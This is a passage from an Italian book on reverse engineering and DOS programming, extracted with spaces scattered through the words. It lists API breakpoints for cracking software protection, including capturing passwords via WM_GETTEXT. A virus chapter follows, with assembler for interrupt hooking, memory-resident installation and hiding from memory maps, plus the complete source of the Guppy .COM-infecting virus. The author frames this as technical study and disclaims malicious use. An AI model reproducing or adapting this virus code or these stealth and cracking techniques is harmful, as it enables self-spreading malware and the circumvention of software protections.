t r ovar e l a pr obl emat i ca di
r i t r ovar ci davant i a dei
pr ogr ammi con segment i codi f i cat i con si st emi come shr i nker ecc.
I l l avor o i n quest o caso deve esser e f at t o abbi nando sapi ent ement e i l
di sassembl at or e con dumper speci f i ci che si ano i n gr ado di i ndi vi duar e e
decodi f i car e quel t i po di packer .

; DATA XREF: sub_0_45606C+118o
align 4

; _______________ S U B R O U T I N E __________________________________


sub_0_456244 proc near ; CODE XREF: sub_0_453618+1Ep
; sub_0_45498C+3p ...
mov ds:dword_0_45B078, 20h
push offset dword_0_45B078
call j_GlobalMemoryStatus
mov eax, ds:dword_0_45B084
retn
sub_0_456244 endp

; ---------------------------------------------------------------------------

L esempi o pr ecedent e una r out i ne di sassembl at a da I DA.
I DA i nol t r e r i esce a di sassembl ar e un numer o abbast anza el evat o di pr ocessor i
di f f er ent i da quel l i del l a f ami gl i a I nt el , anche se quest a non si cur ament e una
del l e car at t er i st i che che ci i nt er essano.
I l r i sul t at o del l anal i si t r a i t r e di sassembl at or i possi amo r i assumer l o mol t o
sempl i cement e.
WDASM mant i ene i l mi gl i or r appor t o pr est azi oni / f unzi oni i n quant o per met t e di
debuggar e e di aver e i l di sassembl at o mi gl i or e di quant o l o si a quel l o di
Sof t I ce.
Chi ar ament e pot endo aver e I DA si cur ament e di spor r et e del massi mo.
Val ut azi oni par t i col ar i vanno comunque f at t e i n r el azi one ai di sassembl at or i
quando i ncont r ano pr ogr ammi pr ot et t i .
Chi ar ament e aver e un ot t i mo sor gent e assembl er pu esser e un ai ut o anche se l a
cosa pr i nci pal e quel l a di aver e sempr e sot t occhi o i val or i der i vat i
dal l el abor azi one.


RIASSUNTO DELLE FUNZIONI PIU UTILIZZATE NELLE RICERCHE


Funzi oni per l et t ur a e scr i t t ur a i n f i l es

ReadFile
WriteFile

Funzi oni per l a r i chi est a di i nf or mazi oni sui f i l e

SetFilePointer

GetSystemDirectory
GetSystemDirectoryA

Per l a l et t ur a o scr i t t ur a i n f i l e . i ni

Per apl i cazi oni a 16 bi t s

GetPrivateProfileString
GetPrivateProfileInt
WritePrivateProfileString
WritePrivateProfileInt

32 bi t s

GetPrivateProfileStringA
GetPrivateProfileIntA
WritePrivateProfileStringA
WritePrivateProfileIntA

Accesso ai f i l e r ami t e i nt er r upt

bpint 21 if (ah==3d)
bpint 2f if (ah==01)

Funzi oni per i l r egi st r o

Cr eazi one voci

RegCreateKey
RegDeleteKey

RegCreateKeyA
RegDeleteKeyA


Let t ur a e scr i t t ur a val or i

RegQueryValue
RegQueryValueA


Aper t ur a e chi usur a chi avi r egi st r o

RegCloseKey
RegOpenKey

RegCloseKeyA
RegOpenKeyA

Di al og Boxes

Let t ur a t est o e i nt er i

GetWindowText
GetDlgItemText

GetWindowTextA
GetDlgItemTextA

GetDlgItemInt

Aper t ur a MessageBox

MessageBox
MessageBoxA
MessageBoxExA
MessageBeep

Al t r i met odi per vi sual i zzar e e pr epar ar e t est i

SENDMESSAGE
WSPRINTF

Cr eazi one wi ndows, di al ogs e al t r e var i e

DialogBox
DialogBoxParam(A)
CreateWindow }
ShowWindow } ""

Funzi oni per i l t empo

Get Syst emTi me
Get Local Ti me

Syst emTi meToFi l eTi me

Gener azi one Wi ndow

createwindow
createwindowexa
showwindow

bitblt (a type of memory move, similar to hmemcpy)

CD- ROM Cal l s

GetDriveType (if eax=5 then it is a cdrom check)
GetDriveTypeA

GetDriveType Return Function codes:

Value Meaning
0 Drive Cannot Be determined
1 Root Dir Does not exist
2 DriveRemoveable
3 A Fixed Disk (HardDrive)
4 Remote Drive(Network)
5 Cd-Rom Drive
6 RamDisk

GetLogicalDrives
GetLogicalDrivesA

GetLogicalDriveStrings
GetLogicalDriveStringsA

Al t r e i nf or mazi oni CDROM

interrupt 2f is the mscdex interrupt

bpint 2f, al=0 ah=15 checks if mscdex installed

try breaking on file accesses as well

I nput numer i co sot t o wi ndow

GETWINDOWWORD
GETWINDOWLONG

Al t r i br eakpoi nt s possi bi l i

BOZOSLIVEHERE
HMEMCPY
GLOBALGETATOMNAME

message br eaks

BMSG xxxx WM_GETTEXT (good for passwords)
BMSG xxxx WM_COMMAND (good fro OK buttons)

Xxxx st per l handl e del l a f i nest r a






















VIRUS E TROJAN HORSES


Quando abbi amo par l at o degl i i nt er r upt s abbi amo vi st o che esi st e l a met odol ogi a
per l egger e l i ndi r i zzo di uno d quest i e per set t ar e una nost r a r out i ne come
vet t or e d i nt er r uzi one.
I nol t r e medi ant e l i nt er r upt s di t i mer possi bi l e cr ear e pr ocessi concor r ent i a
quel l i esi st ent i o i n ogni caso possi bi l e i nt er cet t ar e event i ed at t i var e
pr ocedur e r esi dent i .
Mol t i i nt er r upt s cont r ol l ano l e var i e per i f er i che e qui ndi quando capi t a un
event o quest i vengono r i chi amat i con par t i col ar i codi ci di ser vi zi , nor mal ment e
set t at i nei r egi st r i , che noi possi amo i nt er cet t ar e e qui ndi agi r e di
conseguenza.
I l vol ume che avevo scr i t t o nel 1986 t r at t ava quest o t i po di pr ogr ammi per cui
chi vol esse appr of ondi r e l ar goment o l o posso r i mandar e a quest o.
I n quest o vol ume ci i nt er essa l ar goment o sol o per i l f at t o che t r ami t e quest a
t i pol ogi a di pr ogr ammi possi amo cr ear e caval l i di t r oi a per i nser i r e ne9i
si st emi pr ogr ammi at t i al cont r ol l o di quest i .
Vedi i l f amoso BACK ORI FI CE che vi ene i nst al l at o da un al t r o pr ogr amma e da quel
moment o i n avant i per met t e ad un si st ema r emot o di cont r ol l ar e i l comput er
i gnar o di aver e BO i nst al l at o.
Un pr ogr amma r esi dent e i n memor i a ( TSR - Ter mi nat e and St ay Resi dent ) un
pr ogr amma che l asci a una por zi one di se st esso i n memor i a.
Nor mal ment e compost o da due par t i e pr eci sament e l a par t e che l egge e sal va
gl i i ndi r i zzi dei vecchi i nt er r upt s e quel l a che vi ene set t at a come nuova
por zi one r esi dent e.
Come di cevo pr i ma un pr ogr amma r esi dent e, gr azi e al l i nt er r upt di t i mer , pu
esser e sempr e at t i vo i n concor r enza con gl i al t r i pr ogr ammi car i cat i oppur e pu
esser e di sat t i vo i n at t esa di un vent o che l o f acci a ent r ar e i n f unzi one.
Ad esempi o pot r emmo sal var e l i nt er r upt del di sco, set t ar e l i ndi r i zzo del l a
nost r a r out i ne come nuovo i ndi r i zzo del l i nt er r upt s.
Dent r o al nost r o pr ogr amma pot r emmo cont r ol l ar e per qual e mot i vo st at o
r i chi amat o l i nt er r upt s e successi vament e r i l anci ar e l esecuzi one al l a vecchi a
pr ocedur a o esegui r e qual che cosa di nost r o.
I l f l usso sar ebbe :

























Mol t i TSR ( ut i l i ) pot evano esser e at t i vat i con cer t i t ast i ( CTRL+ALT+1) e qui ndi
modi f i cavano i n modo da pot er l o i nt er cet t ar e l i nt er r upt di t ast i er a.
Salva vecchio indirizzo
INT
Setta indirizzo nostra
funzione
Nostra funzione.
Ci interessa ?
Si. Esegui nostra
funzione.
No. Richiama vecchio
INT.
Chiamata
Asincrona
Al t r i at t endevano un event o sul l a ser i al e.
I nsomma.
Possono esser e 100. 000 i mot i vi che possono at t i var e un TSR.
Tant i anni f a, quando scr i ssi i l vol ume l egat o al l uso degl i i nt er r upt s medi ant e
C f u det t o che l o scopo er a quel l o di scr i ver e vi r us.
Vogl i o pr eci sar e che anche se l e t ecni che r i por t at e su quest o vol ume sono
ut i l i zzabi l i per scopi mal dest r i i l ver o scopo quel l o di veder e i l l at o
t ecni co i n quant o, i o per sonal ment e, non ut i l i zzer ei mai e poi mai un vi r us per
r omper e l e scat ol e al pr ossi mo.
La cosa i nt er essant e l i ndi eme di met odol ogi e l egat e a quest o ar goment o.
Per un po ho pensat o di non i nser i r e quest a par t e nel vol ume ma poi al l a f i ne l e
ar goment azi oni er ano t r oppo i nt er essant i per esser e t r al asci at e.
MCB, PSP e DTA sono i condi ment i per quest o capi t ol o.
Un vi r us deve sf r ut t ar e i l basso l i vel l o vi st o che non pu sf r ut t ar e l i br er i e e
cose si mi l i che f acci ano di veni r e un pr ogr amma di 2000 byt es uno di 30 Mbyt es.
Non possi bi l e f or ni r e un set up e un CD per i nst al l ar e un vi r us p er cui se
deve al l ocar si memor i a senza f ar si accor ger e deve andar e a veder e come
st r ut t ur at o i l MCB e deve modi f i car sel o.
Ri pet o che desi der er ei f osse vi st a sol o l a component e t ecni ca del l ar goment o.
Nel l i mi t e del possi bi l e usat e l e t eor i e per scr i ver e pr ogr ammi ut i l i che
l asci andol i t r a i l PD sof t war e pot ebber o condur vi a quel br i cci ol o di not or i et
che un vi r us non vi pu dar e ( a meno che non si at e t ant o f essi da scr i ver e sul
vi r us ( ( C) Copyr i ght di xxxxx) .
Se deci dest e di f ar l o dat evi un occhi at a al l e spal l e pr i ma di ent r ar e i n casa !
Anche i vi r us si basano su quest a t ecni ca al f i ne di r i maner e r esi dent i i n
memor i a.
La pr i ma par t e di un sof t war e di quest o t i po quel l a che esegue i l sal vat aggi o
Come abbi amo det t o nel l apposi t o capi t ol o, un i nt er r upt s sost anzi al ment e una
f unzi one del BI OS o del DOS che un pr ogr amma pu r i chi amar e.
Esi st ono due f unzi oni del pr i nci pal e i nt er r upt DOS ( I NT 21h) che per met t ono di
l egger e e di set t ar e gl i i ndi r i zzi di dove si t r ova i l cor po di un i nt er r upt .
Lr e f unzi oni sono pr eci sament e l e :

AH = 35h (Get Interrupt Vector)
AL = Interrupt Number

I val or i di r i t or no sono :

AX = Unchanged
ES = Interrupt Handler Segment
BX = Interrupt Handler Offset

La f unzi one del l i nt 21h che i nvece set t a un i nt er r upt :

AH = 25h (Set Interrupt Vector)
AL = Interrupt Number
DS = New Handler Segment
DX = New Handler Offset

; Assume t hat DS = CS as i n a . COM f i l e.

I l seguent e sepzzone di codi ce r i chi ede l i ndi r i zzo di un i nt er r upt , l o sal va e
l o r i set t a con un al t r o codi ce.

Get_Interrupt_Address:
mov ax,3521h ;Get Old Int 21h Address
int 21h

mov word ptr [Int_21_Segment],es ;Save old address
mov word ptr [Int_21_Offset],bx

Set_Interrupt_Address:
mov ax,2521h
mov dx,offset Int_21_Handler ;DS:DX = Int_21_Handler
int 21h ;Set the new handler


Int_21_Handler:
cmp ah,4bh ;Check for activation
je execute_a_program ;conditions by looking
cmp ah,3dh ;at the function numbers
je open_a_file ;of Int 21 that you wish
;to intercept. Make sure
;to save any registers that
;you change inside the
;various handlers!!!!!!
Go_Int_21:
db 0eah ;This simulates a far jump
Int_21_Offset dw 0 ;to the old interrupt handler.
Int_21_Segment dw 0 ;(0EAh is code for a far jmp.)

Ri cor dat evi sempr e che un i nt er r upt pu esser e chi mat o i n qual si asi moment o per
cui al suo r i t or no l ambi ent e deve esser e esat t ament e come quando st at o
chi amat o.
Quest o si gni f i ca che devono esser e sal vat i t ut t i i val or i dei r egi st r i che
ver r anno modi f i cat i dal codi ce del l i nt er r upt .
Ol t r e a quest o bi sogna st ar e at ent i che l i nt er r upt non r i chi ami f unzi oni che
t occa di r et t ament e.
Se ad esempi o i l vost r o i nt er r upt modi f i ca l a f unzi one 3DH del l i nt 21H buona
cosa che non l a r i chi ami .
Al cont r ar i o pu i nvece f ar e r i f er i ment o agl i i ndi r i zzi che ha pr ecedent ement e
sal vat o.

Call_Int_21h:
pushf ;push the flags and perform
call dword ptr [Int_21_Offset] ;a far call to simulate an
; I NT cal l .
Avevamo det t o che i pr i mi 1024 byt es cont engono gl i i ndi r i zzi dei 256 possi bi l i
i nt er r upt s.
Un met odo al t er nat i vo per cambi ar e e l egger e i vet t or i d i nt er r upt st
nel l andar e a modi f i car e di r et t ament e gl i i ndi r i zzi i n quel l a t abel l a.

Set_DS_to_Table: ;DS = 0
xor ax,ax
mov ds,ax

Hook_Int_21:
mov ax,offset Int_21_Handler ;ax = Handler Offset
mov bx,cs ;bx = Handler Segment

cli ;clear interrupts
xchg ax,word ptr ds:[84h] ;Set AX = Old handler offset
;and set new offset.
xchg bx,word ptr ds:[86h] ;Set BX = Old handler segment
;and set new segment.
mov word ptr cs:[Int_21_Offset],ax
mov word ptr cs:[Int_21_Segment],bx
sti ;restore interrupts

push cs
pop ds ;restore DS = CS

Una del l e f unzi oni che pot r ebbe esegui r e i l codi ce quel l a del l al l ocazi one di
memor i a per i l codi ce del pr ogr amma st esso e l a t er mi nazi one per f ar e r i mener e
r esi dent e i l codi ce.
L uso del l i nt 27h pot r ebbe cr ear e pr obl emi avvi sando l ut ent e i gnar o che c
qual che cosa che non va.
Dal l anal i si del codi ce del vi r us Ar mageddon possi bi l e veder e f aci l ment e un
met odo al t er nat i vo.
Un al t r o pr obl ema l egat o al l a r i cer ca di uno spazi o di memor i a non ut i l i zzat o
dove i nser i r e i l codi ce.
La memor i a vi deo ( 0b000/ 0b800) dedi cat a al monocr omat i co pot r ebbe andar e bene
anche se quest o pu esser e ut i l i zzat o da codi ci mol t o cor t i .
Un gr ande numer o di vi r us ut i l i zza i l set t or e di boot per t r ovar e l a memor i a.
Pr i ma che i l DOS venga esegui t o i l BI OS sal va l ammont ar e di memor i a bassa i n
una WORD ubi cat a al l i ndi r i zzo 0: 413h.
Quest a WORD cont i ene i l numer o di Kbyt es ut i l i zzabi l i a par t i r e da 0000: 0000 e
t er mi nado a A000: 0000.
E possi bi l e r i ser var si del l a memor i a sot r aendo a quest o numer o i l numer o dei
Kbyt es ut i l oi zzat i dal vi r us.
Fat t o quest o si t r ova i l segment o mol t i pl i cando i l nuovo val or e per 64 ( 40h) per
conver t i r l o i n paagr af i .
Quest a ml a vost r a ar ea l i ber a dove copi ar e i l vi r us.
Esegui amo l a copi a e qui ndi set t i amo l i nt er r upt per punt ar e al suo handl er .
Quando i l DOS par t e consi der a quest ar ea al l ocat a e i l CHKDSK r i t or na i l numer o
di k i n meno di mememor i a aseconda di quant o avet e r i ser vat o.
Quest o un esempi o del l a t ecni ca.


Get_Current_Amount:
xor ax,ax
mov ds,ax
mov ax,word ptr ds:[413h] ;ax = memory in K

Reserve_Memory:
dec ax
mov word ptr ds:[413h],ax ;lower memory by 1K

Calculate_Free_Segment:
mov cl,06
shl ax,cl ;AX = AX * 64
mov es,ax ;ES:0 is now the beginning
;of free memory.

Sf or t unat ament e i l met odo pr ecedent e f unzi ona sol o con i l DOS l et t o o per l omeno
non f unzi ona bene i n cer t e ci r cost anze.
Per super ar e i l pr obl ema ci si pu basar e sul l a met odol ogi a che i l DOS usa per
l a gest i one del l a memor i a, ovver o t r ami t e MCB ( Memor y Cont r ol Bl ocks) e t r ami t e
PSP ( Pr ogr amSegment Pr ef i x) .
Quando un f i l e vi ene l et t o per esser e esegui t o i l DOS r i ser va l a memor i a
necessar i a per i l f i l e e l a f a pr eceder e da un header di 16 byt es chi amat o MCB.
Quest o header i nf or ma i l DOS sul pr opr i et ar i o del bl occo di memor i a, del l a
di mensi one e se quel l o l ul t i mo bl occo del l a cat ena o no.
I l DOS l egge una t abel l a di 256 byt es chi amat a PSP i mmedi at ament e dopo al MCB.
I l PSP f ondament al ment e una t abel l a di i nf or mazi oni per i l DOS l a qual e
i ncl ude l a l ocazi one del t op r el at i vo al l a memor i a al t a usabi l e da quest o.
Quest o cont i ene anche i l DTA, i l FCB e l a command l i ne del pr ogr amma.
Vedr emo che esi st ono f unzi oni r el at i ve al l a cr eazi one del DTA al f i ne di non
ut i l i zzar e quel l o i nt er no al PSP nel caso i n cui si gest i sca i l t ut t o da
pr ogr ammi vi r us.
Se i l pr ogr amma un . COM esso ver r l et t o ed esegui t o con CS: 0 ugual e
al l i ni zi o del PSP met t endo l i ni zi o del f i l e ad un of f set di 100h.
Ri cor di amoci che i . COM ut i l i zzando un sol o segment o per t ut t o non necessi t ano
di header par t i col ar i .
Se i l pr ogr amma un . EXE l i ni zi o del f i l e ver r l et t o a CS: 0 dove CS 10h
pi gr ande del segment o del PSP.
Quest o i mpor t ant e da r i cor dar e quando si cer ca di modi f i car e i l PSP dal
pr ogr amma.
I l MCB 10h pi basso i n memor i a del PSP, o un segment o i n meno.
La st r ut t ur a del l a t abel l a compl et a l a seguent e.

Memory Control Blocks
Offset Name Length (Bytes) Description

0 Location 1 M=Last Block, Z=Not Last
1 Owner 2 Segment of start of Memory
3 Size 2 Length in Paragraphs
5 Unknown 3 Supposedly Reserved
8 Owner's Name 8 Name. Appears in mem maps

Program Segment Prefix
Offset Name Length (Hex Bytes) Description

00 Terminate 2 CD20 (Int 20)
02 Top of Memory 2 Usually set at A000.
-- Sometimes needed to
-- lower DOS's memory for
-- a virus.
04 Unknown 1 Supposedly Reserved.
05 CPM stuff 5 Obsolete
0A Exit to DOS 4 Int 22h handler (IP:CS)
0E Control C Handler 4 Int 23h handler (IP:CS)
12 Critical Error 4 Int 24h handler (IP:CS)
16 Parent ID 2 Segment of Parent Prog.
18 Handle Table 14 One byte/handle
2C Environment Segment 2 Segment of Envir. Vars.
2E User Stack 4 Stack address
32 File Handle Count 2 Size of Handle Table
34 Handle Table Address 4 If not at 12h
38 Unknown 1c Supposedly Reserved
50 Dos Call and RET 3 INT 21, RET
53 Unknown 9 Supposedly Reserved
5C FCB 1 10 File Control Block
6C FCB 2 10 ""
7C Unknown 4 Reserved
80 Command Line Length 1 Also used as the
81 Command Line 7f default DTA.

Usando qest e i nf or mazi oni ci sono due modi per di vent ar e r esi dent i .
I l pr i mo quel l o di di r e al DOS che i l t op del l a memor i a uno o due kbyt es i n
meno abbassando l a memor i a MCB f i no a f ar l o cor r i sponder e e qui ndi abbassando
anche l a memor i a del BI OS come most r at o pr i ma.
Quest o met odo per met t e al vi r us di di vent ar e r esi dent e usando una pi ccol a
por zi one di codi ce e evi t ando di esser e l i st at o dal l a MEM s l i st .
Sf or t unat ament e l abbasament o del l a memor i a evvi dent e usando pr ogr ammi che l a
vanno a l egger e ( CHKDSK ecc. ) .
L al t r o met odo quel l o di cr ear e un al t r o memor y bl ock cme l al t r o e set t ando
come pr opr i et ar i o se st esswo o al l i mi t r e i l command. com.
Quest o pu esser e f at t o anche con f unzi oni dedi cat e al l a memor i a del DOS.
Vedi amo i l met odo i n cui si abbassa i l t op del l a memor i a nel campo del PSP e poi
abbassando l a memor i a del DOS.

;This example assumes .COM file structure where DS = CS = PSP.

Get_And_Lower_Top_Of_Memory:
mov ax,word ptr ds:[02] ;Get Top of Memory (PSP)
sub ax,40h ;Lower it by 1K (40h paragraphs)
mov word ptr ds:[02],ax ;And Replace Value.

Get_MCB_Segment:
mov ax,ds ;AX = CS = DS
dec ax ;Get Segment of MCB
mov ds,ax ;And put into DS

Shrink_Block:
sub word ptr ds:[03],40h ;Subtract 1K from host's MCB
;allocation (paragraphs)
Allocate_From_Bios:
xor ax,ax
mov ds,ax ;DS = 0
dec word ptr ds:[413h] ;Allocate 1K from Bios

Find_Free_Segment:
mov ax,word ptr ds:[413h] ;Get memory in 1K
mov cl,6
shl ax,cl ;change to segment (multiply
;by 64 or 40h)

;AX now equals free segment
;of memory

mov es,ax ;Set ES = Free Segment

L al l ocazi one t r ami t e f unzi oni DOS spesso i l met odo ut i l i zzat o dagl i scr i t t or i
di vi r us.
Per f ar e quest o si r i cer ca i l massi mo bl occo di sponi bi l e chi amando l a f unzi one
4Ah ( Modi f y Memor y Al l ocat i on) del l I NT 21h con una r i chi est a i n par agr af i di
0f f f f h.
Dat o che quest o i mpossi bi l e l a f unzi one set t a i l car r y f l ag nel pr ocessor e ed
i nser i sce i l massi mo di memor i a di sponi bi l e i n BX.
Sot r aet e a quest a l a di mensi one dei par agr af i che desi der at e ( +1 per si cur ezza)
ed esegui t e nuovament e l a f unzi one 4Ah con i l nuovo val or e i n BX.
Quest o r i ser ver suf f i cent e spazi o per i l vi r us al t op del l a memor i a.
A quest o punt o ut i l i zzat e l a f unzi one 48h ( Al l ocat e Memor y) con BX set t at o al
numer o di par agr af i vol ut o senza quel +1 di pr i ma.
La f unzi one r est i t ui r i n AX i l segment o di memor i a l i ber a.
Or a si dovr set t ar e i l nuovo bl occo come l ul t i mo del l a cat ena set t ando i pr i mi
byt es del MCB a Z cambi ando anche i l pr opr i et ar i o.
I pr opr i et ar i o usual ment e un val or e a wor d cor r i spondent e al pr ogr am s PSP
( MCB Seg+1) .
Quest o dovr ebbe f unzi onar e oppur e dovr et e set t ar l o con un val or e r i ser vat o t i po
08 ( I / O) .
Dopo che quest o st at o f at t o, se vol et e, pot et e set t ar e i l nome del
pr opr i et ar i o nel campo che par t e a MCB_SEG: 0008 con un nome al massi mo di 8
byt es.

Get_Maximum_Memory:

mov ah,4ah
mov bx,0ffffh ;Request too much
int 21h ;memory - maximum size
;returned in BX.
Subtract_Needed_Memory:
sub bx,((end_vir-start_vir+0fh)/10h)*2+1 ;Shrink Block by
;(virsize*2)+1

Shrink_Block: ;BX = Paragraphs
mov ah,4ah ; Requested
int 21h ;ES = Segment of Block

Allocate_Memory:
mov ah,48h
mov bx,((end_vir-start_vir+0fh)/10h)*2 ;Allocate (virsize*2)
int 21h ;Returns AX = Free Seg

Point_ES_to_New_MCB:
dec ax
mov es,ax
inc ax

Set_As_Last_Block:
mov byte ptr es:[0],'Z' ;Mark as last
;in chain
Set_Owner:

;Note: The number in the Owner field is usually the segment of the program's
; PSP. Certain values, however, have special meanings. 08, for example,
; indicates I/O or Command.COM as the owner. This can be useful for
; deceptions. The only requirement of this is that the owner will NOT
; be deallocated.

mov word ptr es:[1],ax ;Set owner as itself.

Set_Name:
;Note: This is not necessary, but it can be used for many purposes.

mov di,08 ;ES:DI = owner name
;DOS 4+
mov si,offset virname
push cs
pop ds
mov cx,4
repnz movsw ;Copy name into field.
;This will show up in programs like MEM and
;System Information.


............. ;Continue program, hook interrupts, etc.

virname db 'reMEMber'


La mani pol azi one di r et t a si mi l e come f i ne a quel l a esegui t a con i l DOS ma con
passi di f f er ent i .
Un vant aggi o di quest o met odo che uno pu det er mi nar e che cosa per met t er e al
DOS di vi sual i zzar e.
I l codi ce i l seguent e.

Get_Maximum_Memory:
mov ax,ds
dec ax
mov ds,ax ;DS = MCB
mov bx,word ptr ds:[03] ;Get Block Size

Subtract_Needed_Memory:
sub bx,((end_vir-start_vir+0fh)/10h)*2+1 ;Shrink Block by
;(virsize*2)+1
Shrink_Block:
mov word ptr ds:[03h],bx ;Lower Block Size

;Note: If you want your program to show up in a memory map, set this byte
; to 'M', meaning that it is NOT the last block. Otherwise, set it
; to 'Z' so that MEM and like programs will not trace past it.

mov byte ptr ds:[0],'M' ;Mark host block's
;location in chain.

Lower_Top_Of_Memory: ;Lower field in PSP
sub word ptr ds:[12h],((end_vir-start_vir+0fh)/10h)*2+1

Point_ES_to_New_MCB: ;Get New top of mem
mov ax,word ptr ds:[12] ;from PSP.
mov es,ax ;ES = new segment.

Set_As_Last_Block:
mov byte ptr es:[0],'Z' ;Mark as last
;in chain
Set_Owner:
mov word ptr es:[1],ax ;Set owner as itself.


Uno dei pr obl emi , che vedr emmo i n modo pi det t agl i at o al l a f i ne del capi t ol o,
r i guar da l aut or i conosci ment o del vi r us.
Quest o ser ve a f ar e i n modo che i l codi ce sappi a r i conoscer e qual i pr ogr ammi
sono gi st at i t occat i .

Install_Check:
mov ax,0deadh
int 21h ;Is it installed?
cmp ax,0deadh
je Already_Installed ;Yes? jump to Already_Installed
Install: ;otherwise install it.
..........

Int_21_Handler:
cmp ah,4bh
je execute
cmp ah,3dh
je open
cmp ax,0deadh ;Is it an install check?
je Install_Check ;Yes, jump to Install_Check.
Go_Int_21:
db 0ea
Int_21_IP dw 0
Int_21_CS dw 0

Install_Check: ;Save value in AX
iret

I l codi ce che segue compr ende anche i l codi ce di i nocul azi one del vi r us.
Si t r at t a di un codi ce compl et o r el at i vo al GUPPY VI RUS.

;***************************************************************************
;* The Guppy Virus *
;***************************************************************************
;* The Guppy virus is a relatively simple, very small, resident .COM *
;*infector. It uses the standard way for a regular program to go resident *
;*(i.e. Int 27) which makes the infected program terminate the first time *
;*run. After that, however, infected files will run perfectly. This virus*
;*uses interesting methods to restore the storage bytes, as well as a *
;*strange technique to restore control to an infected file after it has *
;*already gone memory resident. *
;* *
;***************************************************************************

.model tiny
.radix 16
.code

org 100h
start:
call Get_Offset

Get_Offset:
pop si ;SI = offset of vir +
;(Get_Offset-Start)
mov ax,3521h
mov bx,ax
int 21h ;Get Int 21 Address

mov ds:[si+Int_21_Offset-103],bx ;Save old Int 21
mov ds:[si+Int_21_Segment-103],es

;mov dx,si ;Bytes vary between assemblers
db 89,0f2

;add dx,offset Int_21_Handler-104
db 83,0c2,1f

mov ah,25h
int 21h ;Set Int 21

inc dh ;Add 100h bytes to go resident
;from handler
push cs
pop es
int 27h ;Terminate & stay resident
;DX+1 = end of area to go res.


Int_21_Handler:
cmp ax,4B00h ;Is call a Load & Execute?
je Infect ;Yes? Jump Infect

cmp al,21h ;Might it be a residency check?
jne Go_Int_21 ;No? Restore control to Int 21

;cmp ax,bx ;Are AX and BX the same?
db 39,0d8

jne Go_Int_21 ;No, Restore control to Int 21

push word ptr [si+3dh] ;3dh = offset of Storage_Bytes -
;Get_Offset

;This gets the first word of
;storage bytes, which is then
;popped to CS:100 to restore it.

mov bx,offset ds:[100] ;100 = Beginning of COM
pop word ptr [bx]

mov cl,[si+3Fh] ;Restore third storage byte.
mov [bx+2],cl

Restore_Control:
pop cx
push bx
iret ;Jump back to Host program.

Storage_Bytes db 0, 0, 0

Infect:
push ax
push bx
push dx
push ds
mov ax,3D02h
int 21h ;Open File for Read/Write Access

xchg ax,bx
call Get_Offset_Two

Get_Offset_Two:
pop si
push cs
pop ds
mov ah,3F
mov cx,3
sub si,10 ;Set SI=Storage_Bytes

;mov dx,si
db 89,0f2

int 21h ;Read first 3 bytes of file

cmp byte ptr [si],0E9h ;Is the first command a jump?
jne Close_File ;No? Jump to Close_File
mov ax,4202h
xor dx,dx
xor cx,cx
int 21h ;Go to end of file

xchg ax,di
mov ah,40h
mov cl,98h ;Virus Size

;mov dx,si
db 89,0f2

sub dx,40h ;Beginning of virus
int 21h ;Append virus to new host

mov ax,4200h
xor cx,cx
xor dx,dx
int 21h ;Go back to beginning of file

mov cl,3

;sub di,cx
db 29,0cf

mov [si+1],di
mov ah,40h

;mov dx,si
db 89,0f2

int 21h ;Write 3 byte jump to file

Close_File:
mov ah,3Eh
int 21h

pop ds
pop dx
pop bx
pop ax
Go_Int_21:
db 0EAh ;Go On With Int 21
Int_21_Offset dw ?
Int_21_Segment dw ?

end start
;**************************************************************************

Vedi amo or a di appr of ondi r e al cuni concet t i l egat i ad al t r i punt i l egat i ai
vi r us.
Al cune i nf or mazi oni l egat e al l a st r ut t ur a del vi r us sono essenzi al i per l a
compr ensi one di al t r i punt i che vedr emo a br eve.
Un vi r us pu esser e di vi so i n t r e par t i : i l r epl i cat or e, l ocul t at or e e l a
bomba.
I l r epl i cat or e cont r ol l a i l r appor t o del vi r us con gl i al t r i f i l es, l ocul t at or e
cer ca di no f ar l o scopr i r e ment r e l a bomba esegue quel l o che deve f ar e i l vi r us
quandeo si ver i f i ca l a condi zi one di at t i vazi one.
I l l avor o del r epl i cat or e quel l o di i nst al l ar e i l vi r us nel si st ema su cui si
t r ova.
I l r epl i cador e deve qui ndi di f f onder e i l vi r us nel si st ema senza di st r ugger e i
f i l es che va a cont ami nar e.
I l model l o pi sempl i ce quel l o, come abbi amo f gi vi st o, che ser ve ad
i nf et t ar e i f i l es . COM.
I l vi r us per pr i ma cosa sal va i pr i mi byt es del f i l e da i nf et t ar e, qui ndi sal va
una pr i ma por zi one di codi ce ed i nf i ne sal va i l r i manent e al l a f i ne.

+----------------+ +------------+
|P1 | P2 | |V1 | V2 |
+----------------+ +------------+
Il file infettato Il codice del virus

Nel di agr amma P1 l a pr i ma par t e del f i l e, P2 l a seconda ment r e V1 e V2 sono l a
pr i ma e l a seconda par t e del vi r us.
Not at e che l a par t e P1 deve esser e del l a st essa di mensi one di V1 ment r e l a
seconda par t e, P2, pu esser e vanche di di mensi oni di ver se da V2.
I l vi r us pr i ma sal va P1 e l o copi a al l a f i ne del f i l e oppur e dent r o al codi ce
del vi r us st esso.
Assumi amo che esegua l a copi a al l a f i ne del f i l e.
I n quest o caso i l di agr amma di vent a.

+---------------------+
| P1 | P2 | P1 |
+---------------------+

Or a i l vi r us copi a l a pr i ma par t e di se st esso al l i ni zi o del f i l e.

+---------------------+
| V1 | P2 | P1 |
+---------------------+

Fi nal ment e i l vi r us copi a l a seconda par t e di se st esso al l a f i ne del f i l e.

+-----------------------------+
| V1 | P2 | P1 | V2 |
+-----------------------------+

I l pr obl ema or a : che cosa f anno V1 e V2 ?
V1 t r asf er i sce i l cont r ol l o del pr ogr amma a V2.
I l codi ce mol t o sempl i ce

JMP FAR PTR Duh ; Takes four bytes
Duh DW V2_Start ; Takes two bytes

Duh un f ar poi nt er ( Segment : Of f set ) che punt a al l e pr i me i st r uzi oni di V2.
Not at e che i l val or ew di Duh deve esser e cambi at o per r i f l et t er e l a l unghezza
del f i l e che i nf et t at o.
Per esempi o, se l a di mensi one or i gi nal e del pr ogr amma 79 byt es, Duh deve
esser e cambi at o i n modo che l i st r uzi one a CS: [ 155h] si a esegui t a.
I l val or e di Duh ot t enut o aggi ungendo l a l unghezza di V1, l a di mensi one
or i gi nal e del f i l e i nf et t at o, e 256 ( PSP) .
I n quest o caso, V1 = 6 e P1 + P2 = 79, qui ndi 6 + 79 + 256 = 341 deci mal e ( 155
hex) .
Un modo al t er nat i vo, pi compl i cat o da compr ender e i l seguent e :

DB 1101001b ; Code for JMP (2 byte-displacement)
Duh DW V2_Start - OFFSET Duh ; 2 byte displacement

Quest o i nser i sce un sal t o al l of f set di r et t ament e dent r o al codi ce seguent e.
Si deve anche sost i t ui r e l a seconda l i nea con

DW V2_Start - $

